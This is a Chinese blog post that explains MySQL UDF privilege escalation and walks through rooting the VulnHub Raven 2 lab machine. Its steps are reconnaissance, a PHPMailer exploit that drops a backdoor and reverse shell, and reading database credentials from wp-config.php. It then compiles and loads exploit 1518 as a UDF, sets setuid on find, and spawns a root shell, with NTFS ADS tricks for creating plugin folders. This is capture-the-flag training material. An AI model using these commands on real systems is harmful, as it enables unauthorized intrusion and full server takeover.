【MYSQL】UDF命令执行靶场
什么是UDF
UDF 全称为:User Defined Function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
udf 文件后缀一般为 dll,由C、C++编写。
UDF在渗透中的作用
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在MySQL数据库,那么udf可能就派上用场了;由于Windows安装的MySQL进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过MySQL获得管理员权限。
利用条件
利用udf的条件其实还是挺苛刻的
MySQL用户权限问题
- 获得一个数据库账号,拥有对MySQL的insert和delete权限,以root为佳。
- 拥有将udf.dll写入相应目录的权限。
使用的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
数据库版本问题
udf利用的其中一步,是要将我们的xxx.dll文件上传到MySQL检索目录中,MySQL各版本的检索目录有所不同:
版本 | 路径 |
---|---|
MySQL < 5.0 | 导出路径随意; |
5.0 <= MySQL< 5.1 | 需要导出至目标服务器的系统目录(如:c:/windows/system32/) |
5.1 < MySQL | 必须导出到MySQL安装目录下的lib\plugin文件夹下 |
一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)
创建方法:
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
VulnHub-Raven: 2 靶场渗透测试
靶场信息:
地址:https://www.vulnhub.com/entry/raven-2,269/
发布日期:2018年11月9日
目标:得到root权限并且找到4个flag
难度:中级
运行:VMware Workstation Pro
描述:Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?
信息搜集
使用nmap获取目标ip地址为192.168.75.144
nmap -sP 192.168.75.0/24
sP:用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124206-201460074.png)
扫描开启的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.75.144
sS:参数-sS表示使用TCP SYN方式扫描TCP端口
sV:指定让Nmap进行版本侦测
T5:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124220-1226273072.png)
获得四个端口信息
PORT | STATE | SERVICE | VERSION |
22/tcp | open | ssh | OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) |
80/tcp | open | http | Apache httpd 2.4.10 ((Debian)) |
111/tcp | open | rpcbind | 2-4 (RPC #100000) |
39855/tcp | open | status | 1 (RPC #100024) |
网站信息搜集与漏洞利用
访问ip
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124219-2119871148.png)
点击BLOG的时候跳转到了WordPress的一个站点,在搜索框测试,url由我们输入的ip地址变成了raven.local
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124227-1617753179.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124227-1451592101.png)
扫描一下http://raven.local/目录
这里用到Kali Linux下DIRB工具
什么是DIRB
DIRB是一个Web内容扫描程序。它查找现有的(和/或隐藏的)Web对象。它基本上是通过对Web服务器发起基于字典的攻击并分析响应来工作的。
没有任何结果,细心一点可以发现这是靶机域名解析的问题,我们需要做的是配置电脑的hosts文件,使域名解析到192.168.75.144
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124212-609630226.png)
添加hosts文件项
具体做法如下,中间使用tab
vim /etc/hosts
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124206-306025333.png)
现在扫描目录就正常了(直接扫IP也可 dirb http://192.168.75.144)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124227-394100489.png)
扫描结果主要分为三个Web信息目录
- http://raven.local/vendor/
- http://raven.local/wordpress/
- http://raven.local/manual/
继续使用dirb扫描目录
dirb http://raven.local/wordpress/
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124231-1947195214.png)
找到flag3
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124265-1343151653.png)
http://192.168.75.144/wordpress/wp-content/uploads/2018/11/flag3.png
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124257-2108844817.png)
http://raven.local/vendor/ 存在任意文件遍历,并且在 PATH 目录下隐藏了一个flag
还得知整个网站搭建在 /var/www/html/ 目录下
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124253-605744337.png)
并且发现了 PHPMailerAutoload.php 这个显眼的php文件,直接让人想到PHPMailer命令执行漏洞
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124257-491653456.png)
在Kali中搜索相关漏洞searchsploit phpmailer
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124263-447416172.png)
把相关脚本拷贝到当前目录:
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124256-1984334038.png)
并且修改相关参数,target目标ip,要接收到的攻击者的ip,端口,路径:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124269-537708225.png)
保存exp的py程序,exp成功执行,访问后门文件 backdoor.php ,并设置端口监听:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124266-1566686405.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124258-1751307015.png)
使用python获得完整性shell
python -c 'import pty; pty.spawn("/bin/bash")'
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124264-1371863268.png)
在/var/www/目录找到flag2.txt
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124243-888610438.png)
没有在网上找到可以利用的内核提权脚本,这里继续进行信息搜集
在/var/www/html/wordpress/wp-config.php中发现mysql数据库密码
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124239-1757735088.png)
root:R@v3nSecurity
netstat -a 查看所有socket链接状况:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124243-912298038.png)
发现mysql服务启动
ps aus | grep root 显示有root字符串的进程和其状态,换句话说就是查找出以root权限运行的服务
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124261-1247212484.png)
尝试mysql的udf提权
找exp编号,并在Kali上搜索:
searchsploit 1518
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124253-1982550146.png)
具体怎么用,还需要看exp的说明 https://www.exploit-db.com/exploits/1518
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124249-1395195751.png)
先将exp 1518.c 在本地linux上编译完成后,再上传到靶机,这样能避免好多问题:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124268-2032405897.png)
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件
-Wl选项告诉编译器将后面的参数传递给链接器。
-soname则指定了动态库的soname(简单共享名,Short for shared object name)
soname的关键功能是它提供了兼容性的标准:
当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。-o 生成的文件
-lc,-l 库 ,c库名
下载动态链接库到靶机
使用python搭建http服务,使用shell下载到靶机
python3 -m http.server 8888
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124254-1015458060.png)
上传成功后,在靶机上链接MySQL数据库并操作:
www-data@Raven:/var/www/html$ mysql -u root -p mysql -u root -p Enter password: R@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 78
Server version: 5.5.60-0+deb8u1 (Debian)Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.10 sec)mysql> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.15 sec)mysql> insert into foo values(load_file('/var/www/html/1518.so'));
insert into foo values(load_file('/var/www/html/1518.so'));
Query OK, 1 row affected (0.09 sec)mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.03 sec)mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.10 sec)mysql>
mysql> quit
quit
Byewww-data@Raven:/var/www/html$ touch foo
touch foo
www-data@Raven:/var/www/html$ find foo -exec 'whoami' ;
find foo -exec 'whoami' ;
root
www-data@Raven:/var/www/html$ find foo -exec 'id' ;
find foo -exec 'id' ;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' ;
find foo -exec '/bin/sh' ;whoami
whoami
rootid
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)cd /root
cd /root
ls
ls
flag4.txtcat flag4.txt
cat flag4.txt
| _ __ ___ _____ _ _ |_ | |
| / ` \ V / -) ' \ | | | |
||_,|_/___|||||_|flag4{df2bc5e951d91581467bb9a2a8ff4425}
CONGRATULATIONS on successfully rooting RavenII
I hope you enjoyed this second interation of the Raven VM
Hit me up on Twitter and let me know what you thought:
@mccannwj / wjmccann.github.io
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516075124264-1446087647.png)
除了 do_system 外还可以使用其他函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
攻击过程中,如果是linux系统,需要将lib_mysqludf_sys.so上传到数据库能访问的路径下。lib_mysqludf_sys.so的导出路径:
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把 lib_mysqludf_sys.so 文件放到MySQL安装目录下的lib\plugin\文件夹下才能创建自定义函数。(此处需要注意:动态库的放置位置为目标机器mysql插件路径,可用以下命令获取:show variables like "%plugin%";)
激活存储过程 do_system 函数:
create function do_system returns string soname 'lib_mysqludf_sys.so ';
进行到此已可用root身份执行命令,替换id即可
如:select do_system('whoami'); 这将以root身份启动一个应用程序:
select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
(chown raptor.raptor 应按实际用户身份更改)
而文中使用了:
select do_system('chmod u+s /usr/bin/find');
就是给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令,具体参考:http://www.cnblogs.com/aaronax/p/5618024.html
chmod u+s temp — 为temp文件加上setuid标志. (setuid 只对文件有效)
chmod g+s tempdir — 为tempdir目录加上setgid标志 (setgid 只对目录有效)
chmod o+t temp — 为temp文件加上sticky标志 (sticky只对文件有效)
参考链接:
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16275603.html